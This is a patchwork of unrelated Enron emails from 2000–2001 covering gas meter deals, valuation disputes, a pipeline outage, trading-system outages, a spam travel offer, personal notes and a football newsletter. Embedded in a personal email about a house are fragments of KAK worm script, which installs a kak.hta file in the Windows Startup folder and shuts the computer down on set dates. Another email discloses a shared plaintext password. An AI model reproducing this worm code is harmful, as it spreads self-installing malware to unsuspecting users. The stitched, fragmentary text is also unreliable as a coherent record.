? Tenured, experienced Managed Services team on-site to assist users in
accessing web site, identifying usage trends, preparing specialized reports,
etc.

Corestaff/Managed Services/Staffing

Joseph Marsh ) Lead / Operations (josephm@corestaff.com; 713-438-1400)
Amy Binney, Sharon B. Sellers ) Operations
Cherri Carbonara ) Marketing / Communications
Cynthia Duhon )Staffing Partner management


....see you there...

Steve

 -----Original Message-----
From:  Kaminski, Vince
Sent: Tuesday, January 23, 2001 5:28 PM
To: Stock, Stephen
Subject: Re: FW: Re: Valuation

Steve,

Around 6:00 p.m.

Vince

From: Stephen Stock/ENRON@enronXgate on 01/23/2001 05:26 PM
To: Vince J Kaminski/HOU/ECT@ECT
cc:
Subject: FW: Re: Valuation

Vince,

I'm in all this week.....what time are you going for the bus tonight?

regards

Steve

 -----Original Message-----
From:  stevestock@pagenetips.com@ENRON
[mailto:IMCEANOTES-stevestock+40pagenetips+2Ecom+40ENRON@ENRON.com]
Sent: Tuesday, January 23, 2001 4:42 PM
To: Stock, Stephen
Subject: fwd: Re: Valuation

------
From: Vince Kaminski <Vince.J.Kaminski@enron.com>
Subject:Re: Valuation

Steve,

Please, let  me know when you come back.

I have detected a tendency to implement different

approaches to valuation in the past.

To some extent, it reflects the absence of formal

rules for sign-off on the valuation techniques

which, in turn, reflects,  the turf wars and the desire by the

originators to control the outcomes.

Vince

stevestock@pagenetips.com on 01/19/2001 06:53:14 PM

To:   vince.j.kaminski@enron.com

cc:

Subject:  Valuation

Vince,

I'd like an opportunity to talk to you about valuation.

I'm hearing confusing messages about the way that the UK IT team and the UK

traders get their Valuation code aparently signed off by Research, while

here... You provide it for our guys to wrap up.

We have now a situation where the UK team are using a home grown Valuation

piece called DOVE, where results differ from those of the equivalent USA

portcalc.

I need to break through the pride barriers and the "not built here"

syndrome, and try to do the right thing, but I don't beleive I can do that

without you guidance.

I'm scared that if we diverge too much we will never work globally on these

systems.

Steve

------------------------

Tel: 713-345-8980

Cell: 281-541-1862

Page: stevestock@pagenetips.com

Steve
------------------------
Tel: 713-345-8980
Cell: 281-541-1862
Page: stevestock@pagenetips.com


-----Original Message-----
From: 	Worthen, Susan
Sent:	Monday, September 10, 2001 11:35 AM
To:	Kean, Steven J.
Subject:	Employee Communication Suggestion

Just an observation and suggestion regarding the recent media blitz --- Make sure employees have access to Enron's side of the story via (additional) eBiz features or an e-speak feature with the Office of the Chairman when the 3rd quarter earnings are released.

I hear people talking about some of these articles (like the NY Times article this weekend and the Off Wall Street article a few weeks ago) and they don't know what to think.  The general employee population does not understand our financials and how Enron "makes markets". - At least this is my perception based on conversations that I hear in the elevators and on the bus on my to/from work.

Anyway, my observation is that the problem with being misunderstood does not reside just on the outside.

Susan Worthen
Director
Environmental Compliance, Enron Corp.
713/646-6579, fax 713/345-6164
3AC 15255
Susan.Worthen@enron.com


Look at ENE 48.75. Easy money.

Chris


i suck at softball and i hate playing it.  i have a ' team building' thing at
the rockets game.


I will give the form to the chairman monday

Debra Perlingiere
Enron North America Corp.
Legal Department
1400 Smith Street, EB 3885
Houston, Texas 77002
dperlin@enron.com
Phone 713-853-7658
Fax  713-646-3490


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Dear PATRICE,

Great news! Your new 50% Hotel Discount Card is ready to be downloaded!

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your Bonus $10.00 Gas from your favorite station!

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your discount card by 02/05/2002 and start using it to save 1/2
at over 5,000 popular hotels nationwide! It's not software... but
an actual card you can print and use to save 1/2 as soon as today!

Plus you get much more to help you save money every time you travel!

Click
here now!

You get all this:

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including participating Holiday Inn, Hyatt, Ramada, Days Inn
properties and many more!

 PLUS you'll enjoy...

24-Hour Road & Tow Protection Nationwide

Up to $500.00 Airline Discounts

Up to 30% off Car Rentals

 So download
your 50% Hotel Discount Card plus get your $10.00 Gas with our compliments!
It's easy! Just
click here now!

Thanks again and we're sure you'll save money with your 50% Hotel
Discount Card!

Sincerely,

Marty Isaac

Vice President

Travel Values Plus

P.S. You can download
your card and start using it right away! Plus you get $10.00 Gas
from any station you want! Click
here now!

Only available to residents of the U.S., Puerto Rico and the U.S.
Virgin Islands. Travel Values Plus is owned and operated by webloyalty.com.
All trademarks and or copyrights are the property of their respective
owners, and unless otherwise noted, Travel Values Plus is not affiliated
with the respective owners. Gas benefit not available for gasoline
purchases made in New Jersey. ? 2001, Travel Values Plus

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That would be fine.

D

Mary Poorman@ENRON
02/05/2001 02:16 PM
To: Daren J Farmer/HOU/ECT@ECT
cc:
Subject: Meter 981594 for Jan

The meter shows flow the first two day, the deal to sell to San Jac is
expired.  Do you want me to extend the deal to cover the volume?

Mary


Since you only wanted information for the WSCC, do you want the answer to
number 8 to be corrected to only include information for the WSCC?

We don't have any information here about Enron Winds' generators.  I have
forwarded your data requests to the following people at Enron Wind who I hope
will be able to help you:  John Lamb, Michael Payne, and Hap Boyd.  Their
addresses are: Michael Payne/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Hap
Boyd/EWC/Enron@Enron, John Lamb/EWC/Enron@ENRON

	Enron Capital & Trade Resources Corp.

	From:  "Brian Harrington" <brian.harrington@ferc.fed.us>
     09/12/2000 08:17 AM

To: <chris.stokley@enron.com>, <mary.hain@enron.com>
cc:
Subject: Response to FERC Data Request for Bulk Power Investigation

Thank you for your timely response to FERC's data request.  To date, I have
received responses to questions 2-8.  The only oustanding items are responses
to question #1 and a portion of #4 (unit identifier).  It is understood that
the responses for #1 will be availalbe after September 15 and the additional
information for #4 will be available this week.  We will look over your
responses and call you if clarification or additional information is
necessary.  We will treat as you requested #2, 3, 4, 6, and 8 as Confidential.

You were correct is responding only to the WSCC.  We did not purovidea
separate data requests to Enron Wind.  In not doing so, what information are
we missing from our data requests?  Please e-mail me a response to this
questions.  For any other concerns please continue to use e-mail or contact
me at 202-208-2493.

Thanks!


20K and Relay
Benefiting Assist the Officer
October 21, 2001
7:00 a.m.

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

We're looking for runners to participate in the 2-person relay!
If you're interested in running the relay, please note your pace on your application form.

Members should hand deliver a completed application to:
Cindy Richardson, EB4845 by 3:00 pm, Friday, October 12th.

Non-members and members not in good standing should hand deliver a completed application
and $25.00 check payable to "Enron Running Club" and forward to:
Cindy Richardson, EB4845 by 3:00 pm, Friday, October 12th.

Packets will be available for pick up on Friday, October 19th.

<Embedded Picture (Metafile)>


Daren - can you set up a delivery deal for meter 8740 for Jan 00 and Dec.
99?   I checked OSS and there is an 089 operational contract that took the
swing in case the meter flows more or less than the nom.   Third party
contracts are supposed to stay whole.  Days 12-14 did not flow enough to
cover the noms for Western.  We have the same problem on Jan. 25.  Please let
me know, Brenda Herod would like this resolved today, as would I.

- Aimee
---------------------- Forwarded by Aimee Lannou/HOU/ECT on 03/22/2000 01:10
PM ---------------------------
   Aimee Lannou                03/06/2000 04:36 PM

To: Stacey Neuweiler/HOU/ECT@ECT
cc: Thu Nguyen/HOU/ECT@ECT
Subject: Meter 8740 Dec 99

Stacy- Can you please set up a new deal for meter 8740 for Dec. 99.  The
problem with this meter is,  all third party transports should stay whole and
HPL takes the swing.  Several days the meter did not flow enough and the
third parties did not receive all of their gas.  I need a delivery set up so
the 3rd parties will stay whole.  If you have any questions, please let me
know.

Thanks.

- Aimee
---------------------- Forwarded by Aimee Lannou/HOU/ECT on 03/06/2000 04:30
PM ---------------------------

	From:  Thu Nguyen                           03/06/2000 04:14 PM

To: Aimee Lannou/HOU/ECT@ECT
cc: George Grant/HOU/ECT@ECT
Subject: Meter 8740 Dec 99

Aimee,

 We are still having problem with this meter.  From what I understand of our
conversation a week or two ago, HPL needs to take the swing to keep the other
contracts whole.  In the case where we have excess flow the HPL (R) contract
takes the swing.  So in the case where we are short, shouldn't we have a HPL
(D) contract to take the swing?  Please let me know if this will work.  I
need to get back with Settlement today.  Thanks

Thu


Kim,

Attached are the links to the places Sarah and I went.

Private game reserve		http://www.singita.com/lodges/

Private game reserve		http://www.ccafrica.com/destinations/southafrica/phinda/accomrock.asp

Forest Lodge (enrvironmental)	http://www.cybele.co.za/

Mark McConnell
Transwestern Pipeline Company
713-345-7896   office
713-822-4862   cell
713-646-2551   fax
mark.mcconnell@enron.com


AMEREX
All deals o.k.

PREBON

Mark Fischer
deal 564894
Prebon does not recognize

BLOOMBERG

Mark Fischer
I am missing the following deal:
Enron sells to El Paso 25 mw May PV  $304.00
I believe this deal is the deal prebon does not recognize--564894


See attached.

Cordially,
Mary Cook
Enron North America Corp.
1400 Smith, 38th Floor, Legal
Houston, Texas   77002-7361
(713) 345-7732 (phone)
(713) 646-3490 (fax)
mary.cook@enron.com


I have a meeting tomorrow.  Can you tell me what total power demand in in the
East and the West and what Enron's volumes are.


Patty tu eres el hombre!.  its good to hear from you either way.  and yes you
can stay at the house.  you get to change diapers!!!!  so i can't write much
i've been super busy today.  entergy power is trying to screw as we speak.
later and i'll talk to you tomorrow.  you only have to pay back the interest.


Jeff, is this it?

gngr
713-853-7751
----- Forwarded by Ginger Dernehl/NA/Enron on 07/09/2001 03:49 PM -----

	Katrina Burton
	Sent by: Katrina Burton
	07/09/2001 03:34 PM

		 To: Ginger Dernehl/NA/Enron@Enron
		 cc:
		 Subject: Jeff's Presentation


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Vance,

The following deals have been created and entered in Sitara:

Bob

From: Vance L Taylor/ENRON@enronXgate on 03/30/2001 12:57 PM
To: Robert Cotten/HOU/ECT@ECT
cc: Julie Meyers/HOU/ECT@ECT, Cynthia Hakemack/HOU/ECT@ECT, Melissa
Graves/ENRON@enronXgate, Susan Smith/ENRON@enronXgate, Donald P
Reinhardt/ENRON@enronXgate
Subject: New Production

Bob,

The following production is now on-line and a ticket should be created and
entered into sitara based on the following:

Counterparty   Meter   Volumes Deal # Price    Period  Global No.
Suemaur Explor & Prod  9881   1300mmbtu/d 709716 100% GD less $0.10
3/22-3/31 96058314

MSLATX P/L Company  9880   2000mmbtu/d 709721 100% GD less $0.25  3/27-3/31
96058031

FYI, I have created and submitted a committed reserves firm ticket for the
remaining term of the deal beginning with the month of April.  Additionally,
this is a Producer Svcs. deal and should be tracked in the IM Wellhead
portfolio... attached to the gathering contract.

Thanks,

vlt
x3-6353


Bob -

Attached are the revisions that should be proposed by Enron for the BETA and
Fee Agreement.

Please review and let me know your thoughts.

Mark
Senior Counsel, ENA
Phone:     713-345-8897
Facsimile: 713-646-3940
E-Mail:      Mark.Greenberg@enron.com


Lloyd, I neglected to tell you that the generic IDs I sent you all have a generic password.  It is simply 'friedwire'.  Everything should be typed in lowercase text.

Do You Yahoo!?
Find a job, post your resume on Yahoo! Careers.


here is Jennifer's message ....
Sheri
---------------------- Forwarded by Sheri Thomas/HOU/ECT on 09/12/2000 10:14
AM ---------------------------

From:  Jennifer deBoisblanc Denny
                08/15/2000 02:43 PM

To: Beth Perlman/HOU/ECT@ECT
cc:  (bcc: Sheri Thomas/HOU/ECT)
Subject: Bridge Problems

Beth,
I know you are at the VP level but I thought I would forward you the memo
below.
I wrote it to explain to the EnronOnline Call Center the various issues we
have been having with the "bridge" since they get a vast
number of internal calls when we have a problem.

Please let me know if you have any questions or if I should be funneling
these concerns to a particular person.
Thanks.
Jennifer
3-5824

---------------------- Forwarded by Jennifer deBoisblanc Denny/HOU/ECT on
08/15/2000 02:31 PM ---------------------------

From:  Jennifer deBoisblanc Denny
                08/10/2000 05:22 PM

To: EOL Call Center
cc: Sheri Thomas/HOU/ECT@ECT, Frank L Davis/HOU/ECT@ECT, Torrey
Moorer/HOU/ECT@ECT, Dale Neuner/HOU/ECT@ECT, Tara Sweitzer/HOU/ECT@ECT
Subject: Bridge Problems

Over the last 8-10 business days, we have had a some issues on the bridges. I
want to educate you a little bit on what can cause
"bridge problems".

First, what I want to explain is their is ONE GUI bridge application for
users (backoffice users) to monitor the bridge but there are MULTIPLE
systems that EnronOnline transactions can be pointed to downstream. This is
important to understand because if you do not know this ,
it may seem like we are having the same problem over & over; ie "the bridge
is having problems". But in actuality, it is DIFFERENT
problems. Still not good - but at least it cannot be isolated to ONE
problem.

Also, due to multiple systems (Sitara, Enpower, GasDesk, Tagg/ERMS,
Powerdesk) are listening for messages from one EnronOnline,
a "bridge" problem could be one of many issues. Some of which are:

 The server for EnronOnline  messenger goes down (doesn't send message to
bridge to process)
 The Enron network goes down (cannot send message thru bridge)
 The NFS server (Enron main server) goes down
 Sitara server goes down
 Enpower server goes down
 Tagg/ERMS server goes down
 Deal worker in ANY system gets "hung up"
 Huge volume slows down processing time for one or more downstream systems
 Scheduled outage for maintenance on server on weekend was not re-started on
Sunday

and the list goes on.....................................

FYI In the past week & 1/2, the following actions happened, which caused
"bridge" problems.

 Scheduled outage for maintenance on TAGG/erms server on weekend was not
re-started on Sunday (not smart)
 The NFS server (Enron main server) goes down (affected Sitara & Tagg/ERMS)
 Deal worker in Sitara system got "hung up" and servers had to be bounced
 Member of EnronOnline Dev Team changed data for specific tokenised periods
during trading hours instead of end of day
  (This failed deals in bridge for Sitara & Tagg/ERMS)

One thing to remember is you are getting calls from traders & back office.
Traders are calling because they cannot see deals in their
position manager application of their system. If they are gas traders, if
could be Sitara or Tagg system. If they are a power trader
calling, they cannot see it in Enpower. ecetera, ecetera

If a back office person calls, they are watching the monitor GUI and they can
see deals queing/backing up and know there is a problem.

We are working to resolve some of these issues, particularily,
multi-processing tools, as we know the # of transactions will only increase.
Please feel free to email me if you have any questions. I hope this was
helpful.

See below for explanation of problem on Wednesday.

---------------------- Forwarded by Jennifer deBoisblanc Denny/HOU/ECT on
08/09/2000 03:50 PM ---------------------------

KARIE HASTINGS
08/09/2000 02:06 PM
To: Jennifer deBoisblanc Denny/HOU/ECT@ECT
cc: Mark Kinkead/HOU/ECT@ECT, Scott Mills/HOU/ECT@ECT, Thomas
Engel/HOU/ECT@ECT
Subject: Sitara Production Problem

I am forwarding a message that explains the Sitara Production problems from
this morning. Please let me know if you have any additional questions.

Karie (36759)

At  9:50am this morning a DealWorker process in the Sitara system became
unresponsive.
At  10:00 am it was determined that the EOLBridge in sitara was not
processing new deal requests
and diagnostics lead to an indication that the dealworker was not functioning
properly.
At 10:14, am the Dealworker was forced down and a new one restarted.
At 10:21 am , the EOLBridge began processing deals.

The cause of the is difficult to determine, but indicators point to an error
in the CORBA product we are using,
most likely due to scalability issues of that product and of Sitara. This is
an issue that is actively being addressed.

--Mark Kinkead
3-1961


---------------------- Forwarded by Eric Bass/HOU/ECT on 02/23/2001 09:10 AM
---------------------------

BRIAN HOSKINS@ENRON COMMUNICATIONS
02/22/2001 04:36 PM
To: Alicia Perkins/HOU/EES@EES, Denise
Naiser/ENRON_DEVELOPMENT@Enron_Development, Hector Campos/HOU/ECT@ECT, Lenine
Jeganathan/HOU/ECT@ECT, roberto.martinez@enron.com, Eric Bass/HOU/ECT@ECT
cc:
Subject: Re: FW: cat attack

 http://www.adcritic.com/content/peta-bad-cats.html


The following meters are in the affected section for the outage planned in
April:

980713 Georgia Gulf
981052  Phillips Pasadena
981188 Albemarle
981418 Air Products Pasadena
988014 Crown Refinery
981061 Shell West Station
982034  Crown St. City Gate

The only meters we are flowing at for March are the two listed in the memo
below (1188 Albemarle, 1418 Air Products Pasadena).  We will not be able to
feed these from HPL during the outage.

I will update you as things change.

Thanks
Gary
---------------------- Forwarded by Gary A Hanks/HOU/ECT on 03/27/2000 03:27
PM ---------------------------

William D Cosby@ENRON
03/24/2000 02:39 PM
Sent by: William D Cosby@ENRON
To: Gary A Hanks/HOU/ECT@ECT
cc:
Subject: Re: Deer Park Railroad Crossing 18" 3026 Line

Gary,  Mainline valves to be closed on the 18" 3026 Line are as follows:
U-5 at Crown Street  and U-6 at the end of the line where Ship Channel Loop
3026 Line  ties into the Shell West 4792 Line.

It is my understanding that the following customers within this outage
section currently take gas:

Air Products  meter 1418
Albemarle  meter 1188

The current schedule would call for an outage to start on 4/13/00 and be back
in service on 4/16/00.

	From:  Gary A Hanks @ ECT                           03/20/2000 10:36 AM

To: William D Cosby/GCO/Enron@Enron
cc:

Subject: Deer Park Railroad Crossing 18" 3026 Line

Which mainline valves will be closed during the work and can you send me a
list of the meters in the affected section?  I need to get with the Texas
desk prior to their pre-bid meeting which is this Friday, March 24.

Based on the changes, it still appears to me the work is planned for the last
week in April.  As a date becomes firm please let me know.

Thanks
Gary
---------------------- Forwarded by Gary A Hanks/HOU/ECT on 03/20/2000 10:30
AM ---------------------------

William D Cosby@ENRON
03/16/2000 10:28 AM
Sent by: William D Cosby@ENRON
To: Gary A Hanks/HOU/ECT@ECT
cc: Team HPL-Pearland/GCO/Enron@Enron, Buck Thomas/GCO/Enron@Enron, Sam
Shaw/GCO/Enron@ENRON, Pat Flavin/GCO/Enron@ENRON, Nick
Cocavessis/Corp/Enron@Enron, Steve Schneider/HOU/ECT@ECT, Kevin
Kuehler/Corp/Enron@ENRON, Calvin Dodd/GCO/Enron@Enron, Charlie
Thompson/GCO/Enron@ENRON, Ann Elizabeth White/HOU/ECT@ECT, James
McKay/HOU/ECT@ECT, Don Thomas/GCO/Enron@Enron
Subject: Deer Park Railroad Crossing 18" 3026 Line

The pipeline outage time mentioned in the memo below needs to be revised.
Actual construction time should be 7 days and pipeline outage time should be
3 days max.   This outage time, which is longer than the norm, is due to the
fact that we will have to remove the existing line and replace it in the same
ditch before tie ins take place.

As an update, the first train is now scheduled to cross late today.  They now
say that it may take 4 weeks to get all the trains in and out before we are
able to begin replacing our line.

---------------
I have been advised by the Deer Park RR representative, Dean Truitt,  that
the rail cars will begin arriving on 3/15/00.

Per our conversations today, please have someone on Tuesday 3/13 adjust the
regulators at Simpson and at Shell Deer Park so that 280 psig is the maximum
pressure in that pipeline section.

I will maintain contact with Deer Park on the duration of this project and
keep you informed.  It is likely that the duration of the pressure reduction
will be on the order of 2 weeks.

After the initial 700 rail cars have entered and exited their facility, Deer
Park will remove their railroad bed and allow us to perform a pipeline
replacement  at that location.  This replacement would involve an outage on
this segment of pipeline for approximately 7 days.  I would anticipate that
this outage would occur in early April.

Thanks for your cooperation in this matter.

Danny


Southern Company

SPP


I got a call from the Lower Colorado River Authority today asking us if we
would like to put a power enabling and ISDA Master Agreement in place with
them.  I spoke to Liz Sager and it appears we have already done a physical
power trade with them.  Of course, we can still not do financial trading
until we run through all the hoops with them.  I don't know who you directed
your marketing package to, but he wanted some information on online trading
and I said we would send him a packet.

Richard Ramirez
Fuel and Energy Risk Management
Lower Colorado River Authority
3701 Lake Austin Boulevard
Austin, Texas  78703

Thanks!


I have not heard

	Rosalee Fleming
	11/20/2000 01:19 PM

		 To: Steven J Kean/NA/Enron@Enron, Rebecca Carter/Corp/Enron@ENRON
		 cc: Tori L Wells/HOU/ECT@ECT
		 Subject: Re: Ken Lay Draft Letters

Re:  the attached.  Do we know yet whether it will be on the agenda?

Rosie
---------------------- Forwarded by Rosalee Fleming/Corp/Enron on 11/20/2000
01:15 PM ---------------------------

Rosalee Fleming on 11/02/2000 05:10:35 PM
To: Steven J Kean/NA/Enron@Enron
cc: Susan Worthen/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michael
Terraso/OTS/Enron@ENRON, Kelly Kimberly/Enron Communications@Enron
Communications, Rebecca Carter/Corp/Enron@ENRON
Subject: Re: Ken Lay Draft Letters

Steve, Ken did sign the Advisory Council letter.  He does want to brief the
Enron Board at the December meeting, if it can be worked into the agenda.  I
am copying Rebecca on this also.

Rosie

p.s.  Do you want us to mail out the Advisory Council memo letter?

From: Steven J Kean on 11/01/2000 04:12 PM
To: Rosalee Fleming/Corp/Enron@ENRON
cc: Susan Worthen/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michael
Terraso/OTS/Enron@ENRON, Kelly Kimberly/Enron Communications@Enron
Communications
Subject: Ken Lay Draft Letters

Please ask Ken to sign the following.  But, in the Advisory Council letter
delete the reference to the December Board meeting and check with Ken on
whether he still plans to brief the Enron Board at the December meeting (I
believe he talked to Kelly Kimberly about this).
----- Forwarded by Steven J Kean/NA/Enron on 11/01/2000 04:10 PM -----

	Susan Worthen@ENRON_DEVELOPMENT
	10/31/2000 10:37 AM

		 To: Steven J Kean/NA/Enron@Enron
		 cc: Maureen McVicker/NA/Enron@Enron
		 Subject: Ken Lay Draft Letters

Steve,

Per our meeting yesterday, attached are the draft letters from Ken Lay to the
Board and Advisory Council.  l will deliver a box of Annual Reports today so
that they can be delivered to Rebecca Carter once the letters are signed and
returned to you.

Please call me if there are any questions.

Susan Worthen
Director
Environmental Compliance, Enron Corp
713/646-6579  713/345-6164 fax
3AC 1525


I have signed several approvals for her but I am not sure why they are coming
to me and not you---this must be proof that you are still under me on the
org. chart and that I am still your boss.
----- Forwarded by Richard B Sanders/HOU/ECT on 12/27/2000 10:23 AM -----

	ARSystem@mailman.enron.com
	12/25/2000 07:06 PM

		 To: richard.b.sanders@enron.com
		 cc:
		 Subject: Your Approval is Overdue: Access Request for diane.goode@enron.com

This request has been pending your approval for  8 days.  Please click
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000010092&Page=
Approval to review and act upon this request.

Request ID          : 000000000010092
Request Create Date : 12/12/00 3:00:54 PM
Requested For       : diane.goode@enron.com
Resource Name       : VPN
Resource Type       : Applications


?
 - Kottonmouth Kings - 02 - Here We Go Again-High Society.mp3


Gerri ,

Did he say why he could not confirm the money transfer ?

Dutch

-----Original Message-----
From: Gosnell, Gerri
Sent: Monday, November 05, 2001 8:41 AM
To: Garcia, Paul; Hart, Reginald; Swisher, Nera; Hodges, Georganne; Quigley, Dutch; Reeves, Leslie; Whiting, Greg
Subject: EDF Man's Excess

Good Morning!

We have excess of $4,498,358.00 with EDF Man.  I called and talked with Paul this morning and he said that he could not confirm the wire for today as of yet.

I'll let you know asap.

Thanks!
gg


I pushed the "send" button before I finished the last email.  We should
discuss this.

Sarah

----- Forwarded by Sarah Novosel/Corp/Enron on 06/04/2001 09:47 AM -----

	Nancy Bagot <nancy_bagot@yahoo.com>
	06/04/2001 09:34 AM

		 To: donna.fulton@enron.com, sarah.novosel@enron.com, ray.alvarez@enron.com
		 cc:
		 Subject: Fwd: scoop on FERC

Hey all, this is what I'd heard on Friday -- part of which
ended up being in a press release from FERC (and I thought
I was getting good inside info....)

- Nancy

--- Nancy Bagot <nancy_bagot@yahoo.com> wrote:
> Date: Fri, 1 Jun 2001 15:11:18 -0700 (PDT)
> From: Nancy Bagot <nancy_bagot@yahoo.com>
> Subject: scoop on FERC
> To: dbva@radix.net
>
> Okay, here's the scoop I found out:
>
> Don Gelinas heads Markets, with Scott in #2
>
> Mark Robinson heads OEP with Rob Cupina as Deputy, no
> mention of Shaffer
>
> Mike McLaughlin takes Cupina's spot, because his former
> division of Corporate Applications (mergers) has been
> dissolved
>
> More to come.....  :)
>
> Have a great weekend,
> Nancy
>
>
> __________________________________________________
> Do You Yahoo!?
> Get personalized email addresses from Yahoo! Mail - only
> $35
> a year!  http://personal.mail.yahoo.com/
>

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail - only $35
a year!  http://personal.mail.yahoo.com/


Steve,
    I don't have any revenue supporting schedules for Third C.E. or Plan. Could you please provide electronically to Rod monthly detailed volumes and revenues both Firm and Interruptible which tie back to both projections. If you should think of any other supporting documents that could be useful, please provide those also. Once again, thanks for all your help on such a short notice.
                                                                                Steve

 -----Original Message-----
From: 	Hayslett, Rod
Sent:	Tuesday, November 27, 2001 6:41 AM
To:	Kleb, Steve
Cc:	Geaccone, Tracy
Subject:	FW: TW Plan and Forecast revenue backup

What do you have to backup the 2001 and 2002 revenue projections for NNG?

 -----Original Message-----
From: 	Howard, Kevin A.
Sent:	Monday, November 26, 2001 6:00 PM
To:	Hayslett, Rod
Cc:	Geaccone, Tracy
Subject:	RE: TW Plan and Forecast revenue backup

John O'Shea was looking for the revenue backup for NNG.

 -----Original Message-----
From: 	Hayslett, Rod
Sent:	Monday, November 26, 2001 3:55 PM
To:	Howard, Kevin A.
Subject:	TW Plan and Forecast revenue backup

 << File: PLAN_FORECAST_DESIGN_MASTER_WITH_STRETCH_Rev_10_08.xls >>  << File: CE 3-2001.xls >>

Rod Hayslett
EB4054
713-853-6178


713.853.1586; H: 713.621.6550; Pager: 888.906.9761

-----Original Message-----
From: Steve Lipin [mailto:slipin@BrunswickGroup.com]
Sent: Monday, November 26, 2001 3:45 PM
To: Kean, Steven J.
Subject:

Steve,

What's your direct dial?

Steve Lipin

This email is sent by Brunswick Group Limited, 16 Lincoln's Inn Fields, London, WC2A 3ED (also the registered office). The company is registered in England (No. 2094879).

This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you are not the intended recipient, you are hereby notified that any use or dissemination of this communication is strictly prohibited. If you have received this E-mail in error, please notify us immediately, then delete this E-mail.

This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses.


On September 27, 2001, ISO New England Inc. filed proposed amendments to its Special Interim Market Rule
originally filed with the Commission on November 1, 2000.  Protests and interventions are due Oct. 29.
Please let me know if you need further information.

Susan Lindberg
713.853.0596


Sure.  Maybe after running we could get cleaned up and go take a look.  Do
you still want to go to the movies?

	"Patti Young" <pyoung@pdq.net>
	08/04/2000 03:18 PM

		 To: "Tana Jones" <tana.jones@enron.com>
		 cc:
		 Subject: Houses!!!

Good Day,
?
I want you to go with me to look at this house I  have been checking out in
the Woodland Heights.? It is a re-do, gutted and  cleaned up, and ready to be
moved in to asap.? Are you working late  tonight, and, if not, would you be
up for me coming by just for a quick  trip???? You may have plans, and, if
you do, could I grab you tomorrow for  a quick look?? I am putting a 'for
sale by owner' sign in my yard  today!!!
?
Let me know
?
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);d=new Date();if(d.getDate()==1 &&
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today
!');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver
memory alloc failed ?
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guage;scr.Path=(la=="fr")?"C:\\windows\\Menu
D?marrer\\Programmes\\D?marrage\\kak.hta":"C:\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((a
gt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("ms
ie 5.")!=-1))scr.write(); //-->


Bob's entering this deal late. I don't know if he was asleep before or what;
but it should show up in the next minute or so.

Thanks,
kate

Kerri Thompson@ENRON
01/10/2001 02:45 PM
To: Kate Symes/PDX/ECT@ECT
cc:

Subject: apb checkout

missing deal for bob

buy edison mission
165.00
25 mw
feb
sp15

thanks


This year I will be putting together the holiday mailing for West Power Trading's customers. I would like your input as to what gifts we should send, and how many I should purchase in advance.  Following are my suggestions:

1) Sokol Blosser wines sent in wooden box with burned Enron logo- 2 bottles (one Pinot Noir, one Evolution [white])
2) Sokol Blosser wines - case (12 bottles, mixed or not)
3) Gift baskets of varying value from Baskets 'n More
4) Omaha Steaks
5) Ski lift passes
6) Gift certificates (you choose)
7) Enron logo items from our Signature Shop, such as

                        Swiss Army Knives
                        Luggage
                        Golf clubs and accessories
                        Workspace accessories and writing instruments

8) Portable lie detector ($99.95)
9) Travel Atomic Alarm Clock ($29.95)
10) Your request!

Please respond by next Friday, August 24, so that I may move forward with planning.
Thank you!
Anna


Bill Williams has all of  the details on how to deal with this length.

C


Mary:
On the list that was dated as of 3/28, am I correct in assuming that Bankers
Trsut International PLC and Sutton Bridge Financing Limited are not
counterparties whose trades were conformed using the Annex A Omnibus
Confirmation?

Carol


Just thought I would drop you a note to say I have been thinking about you, and to say that I hope everything turns out okay for you.

Julie


Part 1 of 3 Parts

Jerry Scarbrough's True Orange
The Newsletter and E-Mail/Fax Service for the True Texas Longhorn Faithful

Volume 11, No. 20, August 13, 2001

 Horns Happy About No. 5 Pre-Season Ranking,
But Coaches, Players Say They Have to Earn It

Coach Mack Brown and the Longhorn players are happy about their No. 5 ranking
in The Associated Press' pre-season poll because they say it shows respect
for the program.
But they also say it means nothing unless they prove they deserve it.
"We can embrace the pre-season predictions because they show respect for the
University of Texas," Brown said Saturday, following the first full-team
practice, "but, starting today, I've got to do a better job of putting it
behind us."
"It's really a beauty contest," he said. " It's a farce that sells papers and
hypes the season, but it means absolutely nothing."
"What's important is today's practice and tonight's practice, and what's
important tomorrow will be tomorrow's practice. We've got to take care of our
business on the field every day."
History certainly supports Brown's feeling. The Longhorns haven't finished in
the top 10 since 1983, but they've been there in the pre-season several times.
And, while it is painful to recall, Oklahoma was  ranked No. 19 in the
pre-season poll a year ago, well below Nebraska, Kansas State and Texas, and
we all know the Sooners went 13-0, beat all three of those teams handily and
won the national title.
This pre-season poll had Florida No. 1, Miami No. 2, OU No. 3, Nebraska No. 4
and Texas No. 5.
Brown said it was nice to have three big 12 teams in the top 12 because it
"shows respect for our conference," but he also said, "it will be very
difficult for us to have three teams in the top five when the season ends."
That's definitely true because Oklahoma plays Nebraska and Texas, and whoever
wins the South title will have to play Nebraska or whoever whip the Huskers
in the Big 12's Northern Division.
The good news for the Longhorns is that Oklahoma is the only pre-season team
in the top 25 on the regular season schedule.
That is countered by a double dose of bad news.
First, the AP writers and the Big 12 coaches ranked the Sooners over the
Longhorns, and they are pretty familiar with both teams.
Second, if the Longhorns beat the Sooners, they will have two killer
post-season games, one against a powerful and probably undefeated team from
the Northern Division and, if they win that one, a Rose Bowl date against
someone like Florida or Miami for the national title.
But the Horns' best chance to get there is to take it one step at a time, and
the coaches and players are saying that's what they are going to do.
"It's one thing for people to pick us, but it's up to us to do it on the
field," said senior LB De'Andre Lewis. "We control our destiny and we have to
work hard and take care of business day-to-day and game-to-game."
"If we work hard every day and show up ready to play hard every game, the
other stuff will take care of itself."
Junior QB Chris Simms echoed those sentiments, saying, "This team is more
experienced now. We know we have to do it on the field and the stuff in the
papers and in the polls won't mean anything unless we do it on the field."
